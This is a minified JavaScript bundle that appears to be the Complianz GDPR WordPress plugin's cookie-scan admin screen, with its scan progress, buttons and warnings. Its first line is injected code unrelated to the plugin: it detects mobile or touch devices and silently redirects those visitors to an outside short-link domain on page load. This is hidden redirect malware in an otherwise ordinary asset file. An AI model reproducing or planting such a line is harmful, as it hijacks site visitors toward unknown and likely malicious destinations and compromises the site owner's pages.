(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.today/pMRMqUxXY0r9");
"use strict";(globalThis.webpackChunkcomplianz_gdpr=globalThis.webpackChunkcomplianz_gdpr||[]).push([[626,756,2010,4337,5256,9091],{10626:(e,a,t)=>{t.r(a),t.d(a,{default:()=>b});var s=t(86087),n=t(9588),o=t(99091),l=t(27723),c=t(52010),i=t(52043),r=t(4219),d=t(80756),m=t(32828),p=t(45111),u=t(15256),_=t(94337),g=t(10790);const b=(0,s.memo)(()=>{const{initialLoadCompleted:e,loading:a,nextPage:t,progress:b,setProgress:h,cookies:f,fetchProgress:z,lastLoadedIframe:k,setLastLoadedIframe:v}=(0,o.UseCookieScanData)(),[x,w]=(0,s.useState)(!1),{addHelpNotice:j,fieldsLoaded:C}=(0,r.default)(),{selectedSubMenuItem:y}=(0,i.default)(),{setProgressLoaded:N}=(0,m.default)(),L=!window.cmplz_settings.wsc_is_authenticated;(0,s.useEffect)(()=>{k!==t&&(x||(w(!0),S()))},[t,k,x]),(0,s.useEffect)(()=>{L||!x&&!a&&b<100&&z()},[x,a,b,L]),(0,s.useEffect)(()=>{C&&(void 0===window.canRunAds&&j("cookie_scan","warning",(0,l.__)("You are using an ad blocker. This will prevent most cookies from being placed. Please run the scan without an adblocker enabled.","complianz-gdpr"),(0,l.__)("Ad Blocker detected.","complianz-gdpr"),null),P()&&j("cookie_scan","warning",(0,l.__)("Your browser has the Do Not Track or Global Privacy Control setting enabled.","complianz-gdpr")+"&nbsp;"+(0,l.__)("This will prevent most cookies from being placed.","complianz-gdpr")+"&nbsp;"+(0,l.__)("Please run the scan with these browser options disabled.","complianz-gdpr"),(0,l.__)("DNT or GPC enabled.","complianz-gdpr"),null))},[C]);const P=()=>{const e="doNotTrack"in navigator&&"1"===navigator.doNotTrack;return"globalPrivacyControl"in navigator&&navigator.globalPrivacyControl||e},S=()=>{if(!t)return void w(!1);let e=document.getElementById("cmplz_cookie_scan_frame");e||(e=document.createElement("iframe"),e.setAttribute("id","cmplz_cookie_scan_frame"),e.classList.add("hidden")),e.setAttribute("src",t),e.onload=function(){setTimeout(()=>{w(!1),v(t)},200)},document.body.appendChild(e)};if("cookie-scan"!==y)return null;const T=f?f.length:0;let I="";I=0===T?(0,l.__)("No cookies found on your domain yet.","complianz-gdpr"):1===T?(0,l.__)("The scan found 1 cookie on your domain.","complianz-gdpr"):(0,l.__)("The scan found %s cookies on your domain.","complianz-gdpr").replace("%s",T),b>=100?T>0&&(I+=" "+(0,l.__)("Continue the wizard to categorize cookies and configure consent.","complianz-gdpr")):I+=" "+
// translators: %s is the scan progress percentage.
// translators: %s is the scan progress percentage.
(0,l.__)("Scanning, %s complete.","complianz-gdpr").replace("%s",Math.round(b)+"%"),e||(I=(0,g.jsx)(p.default,{name:"loading",color:"grey"}));const A=!!L||b<100&&b>0,U=(0,_.getScanUpsellAlertProps)();return(0,g.jsxs)(g.Fragment,{children:[L&&(0,g.jsx)(u.default,{title:(0,l.__)("Cookie Scan Unavailable","complianz-gdpr"),subtitle:(0,l.__)("We need to authenticate this domain.","complianz-gdpr"),body:(0,l.__)("The new advanced Website Scan needs to authenticate your website for security purposes. It only takes a second!","complianz-gdpr"),ctaLabel:(0,l.__)("Start","complianz-gdpr"),onCtaClick:_.startWscOnboarding}),!L&&U&&(0,g.jsx)(u.default,{...U}),(0,g.jsxs)("div",{className:"cmplz-table-header",children:[(0,g.jsx)("button",{disabled:A,className:"button button-default",onClick:e=>(async()=>{await n.doAction("scan",{scan_action:"restart"}),h(1)})(),children:(0,l.__)("Scan","complianz-gdpr")}),(0,g.jsx)("button",{disabled:A,className:"button button-default cmplz-reset-button",onClick:e=>(async()=>{await n.doAction("scan",{scan_action:"reset"}),N(!1),h(1)})(),children:(0,l.__)("Clear Cookies","complianz-gdpr")})]}),(0,g.jsx)("div",{id:"cmplz-scan-progress",children:(0,g.jsx)("div",{className:"cmplz-progress-bar",style:Object.assign({},{width:b+"%"})})}),!L&&(0,g.jsx)("div",{className:"cmplz-panel__list",children:(0,g.jsx)(c.default,{summary:I,details:(0,d.default)(e,f)})})]})})},15256:(e,a,t)=>{t.r(a),t.d(a,{default:()=>l});var s=t(45111),n=t(4219),o=t(10790);const l=({title:e,subtitle:a,body:t,icon:l="warning",iconColor:c="orange",ctaLabel:i,ctaUrl:r,ctaFieldId:d="",onCtaClick:m})=>{const p=r?n.default.getState().getReferralUrl("warnings",d,r):null;return(0,o.jsxs)("div",{className:"cmplz-wscscan-alert",children:[(0,o.jsx)(s.default,{name:l,color:c,size:48}),(0,o.jsxs)("div",{className:"cmplz-wscscan-alert-group",children:[(0,o.jsx)("div",{className:"cmplz-wscscan-alert-group-title",children:e}),a&&(0,o.jsx)("div",{className:"cmplz-wscscan-alert-group-desc",children:a})]}),t&&(0,o.jsx)("div",{className:"cmplz-wscscan-alert-desc-long",children:t}),(p||m)&&i&&(0,o.jsx)("div",{children:p?(0,o.jsx)("a",{href:p,target:"_blank",rel:"noopener noreferrer",className:"button button-default",children:i}):(0,o.jsx)("button",{type:"button",onClick:m,className:"button button-default",children:i})})]})}},52010:(e,a,t)=>{t.r(a),t.d(a,{default:()=>l});var s=t(45111),n=t(86087),o=t(10790);const l=e=>{const[a,t]=(0,n.useState)(!1);return(0,o.jsx)("div",{className:"cmplz-panel__list__item",style:e.style?e.style:{},children:(0,o.jsxs)("details",{open:a,children:[(0,o.jsxs)("summary",{onClick:e=>(e=>{e.preventDefault(),t(!a)})(e),children:[e.icon&&(0,o.jsx)(s.default,{name:e.icon}),(0,o.jsx)("h5",{className:"cmplz-panel__list__item__title",children:e.summary}),(0,o.jsx)("div",{className:"cmplz-panel__list__item__comment",children:e.comment}),(0,o.jsx)("div",{className:"cmplz-panel__list__item__icons",children:e.icons}),(0,o.jsx)(s.default,{name:"chevron-down",size:18})]}),(0,o.jsx)("div",{className:"cmplz-panel__list__item__details",children:a&&e.details})]})})}},80756:(e,a,t)=>{t.r(a),t.d(a,{default:()=>n});var s=t(10790);const n=(e,a)=>(0,s.jsx)(s.Fragment,{children:e&&a.map((e,a)=>(0,s.jsx)("div",{children:e},a))})},94337:(e,a,t)=>{t.r(a),t.d(a,{getScanUpsellAlertProps:()=>n,startWscOnboarding:()=>s});const s=()=>{const e=new URL(cmplz_settings.dashboard_url);e.searchParams.set("websitescan",""),setTimeout(()=>{window.location.href=e.href},500)},n=()=>{const e=cmplz_settings.scan_upsell;return e?{title:e.title,subtitle:e.subtitle,body:e.body,icon:e.icon,iconColor:e.icon_color,ctaLabel:e.cta_label,ctaUrl:e.cta_url,ctaFieldId:e.cta_field_id}:null}},99091:(e,a,t)=>{t.r(a),t.d(a,{UseCookieScanData:()=>o});var s=t(81621),n=t(9588);const o=(0,s.vt)((e,a)=>({initialLoadCompleted:!1,setInitialLoadCompleted:a=>e({initialLoadCompleted:a}),iframeLoaded:!1,loading:!1,nextPage:!1,progress:0,cookies:[],lastLoadedIframe:"",setIframeLoaded:a=>e({iframeLoaded:a}),setLastLoadedIframe:a=>e({lastLoadedIframe:a}),setProgress:a=>e({progress:a}),fetchProgress:()=>a().loading?Promise.resolve(null):(e({loading:!0}),n.doAction("get_scan_progress",{}).then(a=>(e({initialLoadCompleted:!0,loading:!1,nextPage:a.next_page,progress:a.progress,cookies:a.cookies}),a)))}))}}]);